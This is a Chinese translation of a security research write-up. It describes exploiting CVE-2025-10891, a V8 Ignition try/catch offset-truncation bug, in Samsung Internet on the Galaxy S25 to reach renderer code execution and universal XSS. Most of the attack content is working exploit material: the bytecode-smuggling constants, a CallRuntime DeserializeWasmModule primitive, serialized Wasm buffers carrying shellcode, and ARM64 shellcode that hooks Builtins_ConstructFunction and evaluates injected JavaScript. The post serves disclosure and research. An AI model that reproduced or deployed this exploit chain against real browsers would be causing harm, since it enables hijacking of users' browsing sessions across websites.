从补丁间隙到移动端渲染器RCE:攻陷Galaxy S25上Samsung Internet的V8引擎

osecio 发布于 2026-04-02 阅读 56

研究人员利用三星Galaxy S25上Samsung Internet浏览器中V8引擎的补丁间隙漏洞(CVE-2025-10891),通过Ignition字节码的try/catch处理器偏移截断漏洞,实现了远程代码执行。

从 Patch Gap 到移动端渲染器 RCE:在 Galaxy S25 上攻破三星浏览器的 V8 从 Patch Gap 到移动端渲染器 RCE:在 Galaxy S25 上攻破三星浏览器的 V8

引言

当今软件生态中的供应链依赖极其复杂。核心库中的任何漏洞都会为其依赖者创造一个可利用的窗口——维护者要么跟不上令人疲惫的更新节奏,要么错误地反向移植,甚至完全忘记。

V8 就是一个这样的例子,它是一个广泛用于基于 Chromium 和 Node.js 的软件中的 JavaScript 引擎。我们与 Crusaders of Rust 安全研究小组合作,决定分析三星 Galaxy S25 上三星浏览器(三星手机的默认浏览器)中 V8 的版本,希望找到 n-day 漏洞利用机会。

寻找 V8 版本

我们首先通过 adb 从设备上拉取三星浏览器的 APK,并检查其自带的库。

提取 APK 后,我们在 lib/ 目录中搜索 v8::* 符号:

$ grep -r 'v8::' lib/

grep: lib/arm64-v8a/libterrace.so: 二进制文件匹配

只有一个文件匹配我们的搜索:libterrace.so。然后我们将其加载到反编译器中仔细检查,在那里我们找到了捆绑的 V8 版本:

反编译器视图显示 libterrace.so 中捆绑的 V8 版本 13.6.233.10

令人惊讶的是,这个 13.6.233.10 版本在当时已经过时了六个月,并且有多个公开已知的漏洞影响它。

选择漏洞

我们能够在本地编译的与目标版本匹配的 d8 上触发几个漏洞。其中之一是 CVE-2025-5419——一个存储-存储消除错误,我们设法在设备上使其工作。然而,利用需要堆喷射,这在移植到手机时会导致严重的稳定性问题。

另一个是 CVE-2025-10891——Ignition 字节码解释器中的一个漏洞。这个漏洞很有吸引力,因为在 V8 沙箱模型下字节码被认为是可信的,这意味着不需要单独的 Übercage 绕过。鉴于此,我们决定进一步探索这个漏洞。

Ignition 字节码介绍

V8 最初使用 Ignition 解释器将所有 JS 代码编译成字节码格式。 这是一个简单的基于寄存器的虚拟机,具有固定大小的操作码(以及用于增加操作数宽度的前缀字节)。例如:

let a = 1;

let b = 0x0fff;

let c = 0x0fffffff;

let d = 0xffffffff;

编译为:

 # 将 Smi `1` 加载到累加器中

 0 : 0d 01             LdaSmi [1]

 # 将其存储到寄存器 0

 2 : ce                Star0

 # 将 2 字节 Smi `0xfff` 加载到累加器

 3 : 00 0d ff 0f       LdaSmi.Wide [4095]

 # 将其存储到寄存器 1

 7 : cd                Star1

 # 将 4 字节 Smi `0xfffffff` 加载到累加器

 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]

 # 将其存储到寄存器 2

14 : cc                Star2

# `0xffffffff` 无法放入 Smi,因此在函数的常量池中分配了一个 `HeapNumber` 并加载

15 : 13 00             LdaConstant [0]

# 将其存储到寄存器 3

17 : cb                Star3

18 : 0e                LdaUndefined

19 : b3                Return

然后,Ignition 字节码会根据所需的优化量依次传递给 Sparkplug、Maglev 和 Turbofan JIT 编译器。1

CVE-2025-10891

该漏洞在于 try/catch 块的处理。这些块在函数中被编码为 [start, end) => handler 偏移量的列表——如果在给定的字节码地址范围内抛出异常,就会跳转到 handler。考虑以下 try/catch 及其编译后的字节码:

try {

  throw 1;

} catch {

  let b = 2;

}
 0 : 1b ff f8          Mov <context>, r1

 # try 块开始

 # ---------------------------------

 3 : 0d 01             LdaSmi [1]

 5 : b1                Throw

 # ---------------------------------

 6 : 10                LdaTheHole

 7 : b0                SetPendingMessage

 # catch 处理器开始

 8 : 0d 02             LdaSmi [2]

10 : ce                Star0

11 : 0e                LdaUndefined

12 : b3                Return

处理器表 (大小 = 16)

   from   to       hdlr (prediction,   data)

  (   3,   6)  ->     6 (prediction=1, data=1)

然而,handler 偏移量存储在一个 28 位的位字段中。如果 catch 块的地址无法放入 28 位,它将被静默截断。这将导致跳转到代码的完全不同的部分——甚至可能跳到指令的中间。

正如初始报告中所建议的,生成足够大函数的一种简单方法是发出许多 yield* 语句,因为这会极大地增加 Ignition 字节码的大小。

利用

常量走私

我们最初的利用方法受到“shellcode 走私”技术的启发——当在浏览器利用中实现任意读写时,我们通常可以 JIT 编译一个如下函数:

let a = -9.255963134931783e61;

let b = -9.255963134931783e61;

let c = -9.255963134931783e61;

let d = -9.255963134931783e61;

这些浮点常量将编译为机器代码内的 8 字节常量(其中最后 2 个用于跳转到下一个常量)。

我们将在这里使用类似的原理,尽管限制更多。有了这个:

let a = 0x0693bebe;

我们将编译字节码:

01 0d be be 93 06 LdaSmi.ExtraWide

然后我们可以跳转到第 3 个字节(0xbe),并控制 2 个字节的执行,后面跟着 0x93 0x02 - 0xfJump +[2-15])以跳转到下一个常量。

注意:跳跃常量会随着后续存储指令因存储到更深寄存器而变长而变化。存储到寄存器 1-15 产生简单的单字节 StarX 指令,寄存器 16-121 产生两字节 Star rX 指令,下一批产生 4 字节 Star.ExtraWide rX 指令。

有了这些短跳转,我们实际上可以构建一个由类似 0x8931111 的常量组成的大型跳转滑板:

let a206 = 0x8931111;

let a207 = 0x8931111;

let a208 = 0x8931111;

let a209 = 0x8931111;

let a210 = 0x8931111;

let a211 = 0x8931111;

let a212 = 0x8931111;

这些指令产生:

00: LdaTrue;

01: LdaTrue;

02: Jump +8;  >------------+

04: Star rX + LdaSmi ...   |
v--------------------------+

0a: LdaTrue;

0b: LdaTrue;

注意:Jump 指令的偏移量被加到指令的 开始

现在,LdaSmi.ExtraWide 指令的 6 个字节中有 3 个对于合并到走私的任意 Ignition 字节码中是有效的。这个滑板使利用开发变得容易得多,因为任何额外的代码都会导致异常表产生新的偏移量。

利用目标

最初我们考虑使用 Star/Ldar 指令存储到越界的寄存器索引,因为寄存器存储在常规堆栈上。然而,只有 2 个字节,我们只能访问 +/- 0x7f 寄存器,这不足以让我们越界访问有趣的值。

我们意识到寄存器偏移量 0 和 1 分别包含保存的帧指针和返回地址。我们考虑利用这一点进行堆栈旋转和 ROP。然而,有许多缺点——主要是,我们需要多次泄露二进制地址和 JS 堆(以构建一个带有假栈帧的缓冲区)。

此外,解释器期望所有值都是标记的 V8 值(即 32 位压缩指针或 Smi)。这意味着对 64 位地址进行操作可能会导致令人惊讶的截断或“去标记”扩展。

最后,基于 ROP/堆栈旋转的方法在从我们的 x86_64 开发机器移植到 aarch64 目标设备时会造成大量工作,并且考虑到 Galaxy S25 上存在 PAC 和 BTI,可能甚至不可行。

此时,我们识别出一个有趣的操作码:CallRuntime。运行时函数用于实现许多核心 V8 功能,并且是向字节码公开(但不向用户公开,除非启用 --allow-natives-syntax)的本机函数。许多运行时函数允许强大的功能,因为输入被认为是可信的,但有一个特别突出:DeserializeWasmModule

WebAssembly 模块可以在内部由运行时序列化和反序列化——这种序列化格式包括任何 JIT 编译函数 的原始机器代码。DeserializeWasmModule/SerializeWasmModule 本身仅从测试函数中使用,并且确实已从最近的 V8 生产构建中移除,因为这些功能的可滥用性。

然而,调用这个操作码代表了一个重大挑战:

CallRuntime <func-id> <args> <argc>

这里,func-id 是一个 2 字节的函数 ID,args 是传递的最后一个寄存器的索引,argc 是传递的参数数量(例如,传递 r0r1r2 将被编码为 <r2> <3>)。这需要控制 5 个字节——此外,我们还需要安全地将累加器存储到一个寄存器中,然后将值返回给 JS 代码。

更好的字节码控制

幸运的是,Ignition 中的算术指令有一个称为“反馈向量槽”的特性,它存储性能分析信息,供后续 Turbofan 优化使用。从观察来看,对于 AddSmi 指令,它表示到目前为止对目标值执行的操作次数。

例如,我们可以查看下面的 Ignition 反汇编:

2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]

2006 : cd                Star1

2007 : 00 1b ff ff 1d ff Mov.Wide <context>, r220

2013 : 0b f8             Ldar r1

2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]

2025 : 0b f8             Ldar r1

2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]

2037 : 0b f8             Ldar r1

2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]

2049 : 0b f8             Ldar r1

2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]

2061 : 0b f8             Ldar r1

2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]

我们可以看到每次操作反馈向量槽都会递增。这意味着通过一个通过 AddSmi.ExtraWide 走私的跳转滑板,在给定足够多的加法指令的情况下,我们可以控制几乎 8 个字节(由于 SMI 约束)。

最终,我们可以达到这样的阶段:

4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]

如果你跳过前两个字节,你得到:

  • CallRuntime (0x6c) 调用 DeserializeWasmModule (0x0266),从寄存器 a2 (0x4) 开始,有 2 个参数 (0x2)。这变为调用:DeserializeWasmModule(a2, a1)
  • 一个 Jump 指令。

返回 JS

调用后,结果存储在累加器中。由于这个函数是一个异步生成器,我们必须 yield 结果,但这会产生一长串我们不可能走私的指令。

这里的解决方案很简单:我们使用走私的控制流合并回正常的控制流,这将我们引导到来自原始 JS 的 yield。例如,在我们的利用中,所有加法都在一个 try 块中完成:

try {

  ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}

  a1 + 0x0402666c;

  throw 0x393e91a;

} catch (e) {

  console.log("foo");

  yield a16;

}

从最终的 AddSmi 开始:

 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]

 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]

 4385790 : b1                Throw

 4385791 : 00 1a 1a ff       Star.Wide r223

AddSmi 中走私的跳转将把我们重定向到 1a e9 93 03,这产生:

  • Star r16(将累加器存储到 r16)。
  • Jump 跳过 throw 进入 catch 相关代码。

这将把我们很好地带到最终的 yield a16,现在我们有了一个带有我们自己任意机器代码的反序列化 Wasm 模块。

执行 shellcode

为了测试,我们首先序列化一个小型 WebAssembly 模块并打印生成的 Uint8Array:

var wasm_code = new Uint8Array([

  0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,

  0, 0, 10, 4, 1, 2, 0, 11,

]);

var mod = new WebAssembly.Module(wasm_code);

var inst = new WebAssembly.Instance(mod);

var func = inst.exports.shell;

%WasmTierUpFunction(func);

var serialized = %SerializeWasmModule(mod);

let result = new Uint8Array(serialized);

console.log('[' + result.join(', ') + ']');

这将产生以下输出:

[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]

字节 85, 72, 137, 229, ... 对应于 x86-64 函数序言(push rbp; mov rbp, rsp)。我们将第一个字节替换为 0xccint3 操作码),并使用这个修改后的缓冲区作为 DeserializeWasmModule 的序列化输入:

(async () => {

  const wasm_code = new Uint8Array([

    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,

    0, 0, 10, 4, 1, 2, 0, 11,

  ]);

  const buffer = new Uint8Array([

    147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,

    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,

    0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,

    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,

    195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,

    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,

  ]);

  let r = bug(wasm_code, buffer.buffer);

  result = (await r.next()).value;

  const wasm_instance = new WebAssembly.Instance(result);

  const f = wasm_instance.exports.shell;

  f();

})();

在调试器中运行它显示预期的断点:

Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.

0x00002ae46bfc1841 in ?? ()

────────────────────────────────────────────────────────────────────────────

   0x2ae46bfc183c                  add    BYTE PTR [rax], al

   0x2ae46bfc183e                  add    BYTE PTR [rax], al

   0x2ae46bfc1840                  int3

 → 0x2ae46bfc1841                  mov    rbp, rsp

移植到 Android

序列化的 x86-64 代码不能在设备上使用,因为架构不同,并且 DeserializeWasmModule 会失败。我们为 arm64 交叉编译了 d8 并在那里序列化了模块,但这在设备上仍然不起作用,DeserializeWasmModule 返回了 undefined

相反,我们修改了字节码,直接在设备上调用 SerializeWasmModule。这个想法是在设备上序列化代码,然后将结果字节反馈回调用 DeserializeWasmModule 的原始字节码。修改后的 try 块是:

try {

  ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}

  a1 + 0x03027a6c;

  throw 0x393e71a;

} catch (e) {

  console.log("foo");

  yield a16;

}

这里,a1 + 0x03027a6c 生成字节 01 4b 6c 7a 02 03,其中 0x6cCallRuntime 操作码,0x027aSerializeWasmModule 的函数 ID,0x03 是保存其第一个参数的寄存器索引。

我们之前序列化 wasm 模块的 JavaScript 片段使用了两个原生调用:SerializeWasmModuleWasmTierUpFunction。为了避免再次修补字节码以调用 WasmTierUpFunction,我们可以像这样强制 Turbofan 编译目标函数:

// %WasmTierUpFunction(func);

for (let i = 0; i < 0x100000; i++) {

  func();

}

最后,在设备上运行这段代码:

(async () => {

  var wasm_code = new Uint8Array([

    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,

    0, 0, 10, 4, 1, 2, 0, 11,

  ]);

  var mod = new WebAssembly.Module(wasm_code);

  var inst = new WebAssembly.Instance(mod);

  var func = inst.exports.shell;

  // %WasmTierUpFunction(func);

  for (let i = 0; i < 0x100000; i++) {

    func();

  }

  let r = bug(mod);

  result = (await r.next()).value;

  console.log(result);

  let result_bytes = new Uint8Array(result);

  console.log('[' + result_bytes.join(', ') + ']');

})();

我们得到了序列化的字节:

控制台输出显示在设备上序列化的 Wasm 模块

现在我们可以将这个输出嵌入到调用 DeserializeWasmModule 的原始字节码中:

(async () => {

  const wasm_code = new Uint8Array([

    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,

    0, 0, 10, 4, 1, 2, 0, 11,

  ]);

  const buffer = new Uint8Array([

    146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,

    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,

    0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,

    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,

    213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,

    255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,

    0, 0, 0, 0, 0, 92, 50, 162, 0,

  ]);

  let r = bug(wasm_code, buffer.buffer);

  result = (await r.next()).value;

  console.log('DeserializeWasmModule result: ' + result);

  const wasm_instance = new WebAssembly.Instance(result);

  const f = wasm_instance.exports.shell;

  console.log(f);

})();

这次,它按预期工作了:

DeserializeWasmModule 在设备上使用重新序列化的模块成功

实现通用 XSS

此时,我们在渲染器进程中拥有任意的 shellcode 执行。虽然通常利用到此为止,进一步访问需要浏览器沙箱逃逸,但我们决定探索一条替代路线,称为 UXSS,受腾讯安全的这个演讲和 InterruptLabs 的研究文章的启发。

与普通的 XSS 不同,UXSS 或通用 XSS 是一种客户端浏览器利用,可以在网站的所有页面中实现任意 JavaScript 注入。通常,桌面 Chromium 上的站点隔离可以防止这种情况,因为每个站点最终会进入不同的渲染器进程,但 Android 特别具有这种缓解措施的较弱版本——只有带有登录信息和 COOP 头的站点会按进程隔离。这意味着大多数网页都在同一个渲染器进程中,因此对解释器的任何补丁都会影响所有页面并导致 UXSS。这仍然是一种相当强大的能力!

为了实现 UXSS,我们需要修补一个在站点加载期间被调用的函数,以便我们可以运行我们的 XSS 载荷。在调试过程中,我们观察到我们访问的每个站点最终都会调用 Builtins_ConstructFunction,使其成为一个自然的目标。

我们的目标是让 Builtins_ConstructFunction 首先执行我们的 XSS 载荷,然后继续其正常行为。为此,我们按如下方式 hook 它:

  • 利用的 shellcode 修补前几条指令,以将执行重定向到我们的 mmap 映射的 shellcode,该 shellcode 运行 XSS 载荷。
  • 完成后,mmap 映射的 shellcode 恢复 Builtins_ConstructFunction 中的原始指令。
  • 然后 mmap 映射的 shellcode 返回到 Builtins_ConstructFunction 的开头,该函数现在正常进行。

实现这一点的 ARM64 shellcode 如下所示:

// 将返回地址放入 x0

ldr x0, [sp, #0x18]

// 从返回地址去除 pac 签名

.arch armv8.3-a; xpaci x0

// 存储 x5 = Builtins_ConstructFunction

movz x1, #0x610c

sub x0, x0, x1

mov x5, x0

// 存储 x4 = 页对齐的 ConstructFunction

movz x1, #0xf000

movk x1, #0xffff, lsl #16

movk x1, #0xffff, lsl #32

and x4, x5, x1

// mprotect 页对齐的 ConstructFunction 为 RWX

mov x0, x4

mov x1, #0x2000

mov x2, #0x7

mov x8, #226

svc #0

mov x6, x5

// mmap RWX 用于跳转目标 (uxss_sc)

mov x0, #0

mov x1, #0x1000

mov x2, #0x7

mov x3, #34

mov x4, #-1

mov x5, #0

mov x8, #222

svc #0

mov x5, x0

// 此时:

// x6 = Builtins_ConstructFunction

// x5 = uxss_sc 的 mmap 页面

// 将 uxss_sc 写入 mmap 的 rwx 页面

{write_sc(uxss_sc, "x5")}

// 从缓存中清除

mov x0, x5

{WIPE_CACHE}

// 修补 Builtins_ConstructFunction

{write_sc(new_compile_instrs, "x6")}

// 并在新指令上方添加一个指向 uxss_sc 的指针

str x5, [x6, #{5 * INSTR_SIZE}]

// 从缓存中清除

mov x0, x6

{WIPE_CACHE}

在上面的代码片段中,new_compile_instrs 指的是写入 Builtins_ConstructFunction 开头的指令,这些指令调用 mmap 映射的 uxss_sc shellcode:

bti c

// 存储将被覆盖的寄存器

stp x15, lr, [sp, #-16]!

// 将当前 rip 放入 x15

adr x15, .

// 加载新指令上方保存的 uxss_sc 指针

ldr x15, [x15, #{3 * INSTR_SIZE}]

// 跳转到 uxss_sc

blr x15

uxss_sc 是被修补的 Builtins_ConstructFunction 调用的 mmap 映射 shellcode,用于执行我们的 XSS 载荷。其序言如下所示:

bti c

// 保存完整的寄存器上下文

stp x0,  x1,  [sp, #-16]!

stp x2,  x3,  [sp, #-16]!

stp x4,  x5,  [sp, #-16]!

stp x6,  x7,  [sp, #-16]!

stp x8,  x9,  [sp, #-16]!

stp x10, x11, [sp, #-16]!

stp x12, x13, [sp, #-16]!

stp x14, x15, [sp, #-16]!

stp x16, x17, [sp, #-16]!

stp x18, x19, [sp, #-16]!

stp x20, x21, [sp, #-16]!

stp x22, x23, [sp, #-16]!

stp x24, x25, [sp, #-16]!

stp x26, x27, [sp, #-16]!

stp x28, x29, [sp, #-16]!

str lr, [sp, #-16]!

所有寄存器都保存到堆栈,因为我们不知道后续调用的函数可能会破坏哪些寄存器。

末尾恢复所有保存的寄存器,恢复 Builtins_ConstructFunction 中的原始指令,然后将执行返回到其开头:

// 恢复 Builtins_ConstructFunction 的原始指令

ldr lr, [sp], #16

// 将 lr 移动到 Builtins_ConstructFunction 的开头

sub lr, lr, #{5 * INSTR_SIZE}

{write_sc(orig_compile_instrs, "lr")}

// 从缓存中清除

mov x0, lr

{WIPE_CACHE}

// 恢复原始寄存器

ldp x28, x29, [sp], #16

ldp x26, x27, [sp], #16

ldp x24, x25, [sp], #16

ldp x22, x23, [sp], #16

ldp x20, x21, [sp], #16

ldp x18, x19, [sp], #16

ldp x16, x17, [sp], #16

ldp x14, x15, [sp], #16

ldp x12, x13, [sp], #16

ldp x10, x11, [sp], #16

ldp x8,  x9,  [sp], #16

ldp x6,  x7,  [sp], #16

ldp x4,  x5,  [sp], #16

ldp x2,  x3,  [sp], #16

ldp x0,  x1,  [sp], #16

// Builtins_ConstructFunction 不关心 x4 并立即覆盖它,

// 因此我们可以破坏它并将其用作返回寄存器。

// 这样做是为了不破坏 lr,并且 ConstructFunction 知道

// 在哪里返回

mov x4, lr

// x15 和 lr 已在修补后的 Builtins_ConstructFunction 中保存

ldp x15, lr, [sp], #16

ret x4

此时,我们已经成功 hook 了 Builtins_ConstructFunction,并且每当从 uxss_sc 主体内调用它时,都可以执行任意的 shellcode。出于我们的目的,我们想要评估一个任意的 JavaScript 字符串以实现 UXSS,我们为此检查的第一个函数是 Builtins_GlobalEval

Builtins_GlobalEval 接受一个 String 参数并对其进行评估。然而,它带来了一些复杂性。一个值得注意的问题是它会检查内容安全策略 (CSP) 是否允许使用 eval

BUILTIN(GlobalEval) {

  [...]

  if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {

    isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);

    return ReadOnlyRoots(isolate).undefined_value();

  }

这意味着我们需要进一步修补该函数以确保它永远不会进入这个 if 块。

或者,我们可以复制安全检查通过后进行的调用:

BUILTIN(GlobalEval) {

  [...]

  DirectHandle<JSFunction> function;

  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(

      isolate, function,

      Compiler::GetFunctionFromValidatedString(

          direct_handle(target->native_context(), isolate), source,

          NO_PARSE_RESTRICTION, kNoSourcePosition));

  RETURN_RESULT_OR_FAILURE(

      isolate, Execution::Call(isolate, function, target_global_proxy, {}));

但是,确定正确的 target 值、获取 target->native_context() 以及定位 direct_handle 函数,仅仅是为了正确调用 Compiler::GetFunctionFromValidatedString,似乎不必要的繁琐。

相反,我们找到了一个没有安全检查的更简单选项:DebugEvaluate::Global。DevTools 控制台使用此函数来评估在其中输入的 JavaScript。

对于我们的需求,调用它很简单:

MaybeDirectHandle<Object> DebugEvaluate::Global(Isolate* isolate,

                                                Handle<String> source,

                                                debug::EvaluateGlobalMode mode,

                                                REPLMode repl_mode);

我们必须提供 isolate 指针、一个包含我们的 XSS 载荷的 String 对象作为 source,以及 moderepl_mode 值,它们是简单的枚举字面量。

为了在我们的 shellcode 中获取 isolate 指针,我们调用 Isolate::TryGetCurrent(),它返回当前的 isolate。为了构造一个包含我们载荷的有效 String 对象,我们调用 v8::String::NewFromUTF8。这个 NewFromUTF8 函数接受四个参数:isolate、作为 data 的字符串字节、指定字符串类型的枚举字面量以及 data 缓冲区大小的 length

执行我们 XSS 载荷的结果 shellcode 如下所示:

// 获取 isolate 指针,v8::Isolate::TryGetCurrent(0x9ba3bd0)

movz x1, #0xf7a0

movk x1, #0x0071, lsl #16

add x9, x12, x1

movz x1, #0x5ac8

movk x1, #0x054f, lsl #16

add x0, x12, x1

blr x9

// *x0 是 isolate 指针

// 将 isolate 指针存储到堆栈

ldr x13, [x0]

str x13, [sp, #-16]!

// 存储 x10 = v8::String::NewFromUTF8

movz x1, #0x1140

movk x1, #0x0242, lsl #16

sub x10, x12, x1

// mmap 一个 RW 页面用于我们的 xss 载荷

mov x0, #0

mov x1, #{page_align(len(XSS_PAYLOAD))}

mov x2, #3

mov x3, #34

mov x4, #-1

mov x5, #0

mov x8, #222

svc #0

// 将我们的 xss 载荷写入 mmap 的 rw 页面

{write_str(XSS_PAYLOAD, "x0")}

// 存储 x11 = XSS_PAYLOAD 字符串

mov x11, x0

// 弹出 isolate 指针

ldr x13, [sp], #16

// 此时:

// x13 = isolate *

// x11 = XSS_PAYLOAD 字符串的 mmap 区域

// x10 = v8::String::NewFromUtf8

// 使用我们的 xss_payload 调用 v8::String::NewFromUTF8

// arg0 = isolate *

mov x0, x13

// arg1 = char *c_str

mov x1, x11

// arg2 = type = kNormal

mov x2, #0

// arg4 = length

mov w3, #{len(XSS_PAYLOAD)}

// 调用 NewFromUTF8

blr x10

// 存储 x14 = String XSS_PAYLOAD

mov x14, x0

// 存储 x9 = v8::internal::DebugEvaluate::Global

movz x1, #0xe44c

movk x1, #0x014e, lsl #16

sub x9, x12, x1

// 调用 v8::internal::DebugEvaluate::Global

// arg0 = isolate *

mov x0, x13

// arg1 = String *source

mov x1, x14

// arg2 = mode = kDefault

mov x2, #0

// arg3 = repl_mode = kYes

mov x3, #0

blr x9

UXSS 演示

下面是一个演示,执行 UXSS 载荷 alert(document.domain); window.location.href = "https://cor.team/";

你的浏览器不支持视频标签。

结论

鉴于现代软件生态的复杂性,在流行应用中发现核心库过时版本并不出人意料。三星浏览器依赖于一个六个月前版本的 V8,这是一个研究人员经常发现新漏洞的 JavaScript 引擎,为我们提供了很大的 n-day 利用窗口。

虽然渲染器漏洞通常与另一个漏洞(如沙箱逃逸)链式利用,但我们通过针对移动端较弱的站点隔离机制,推动了该漏洞的能力。由于大多数网页运行在同一个进程下,我们可以向 JavaScript 解释器注入 shellcode,以在三星浏览器中实现通用 XSS。

脚注

  1. 是的,V8 有四个编译器,都是为了让那些懒散的开发者继续“工程”他们那些消耗 RAM、耗尽 CPU 的 web 应用,这些应用已经困扰了现代互联网。
  • 原文链接: osec.io/blog/patch-gap-t...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~

相关文章

0 条评论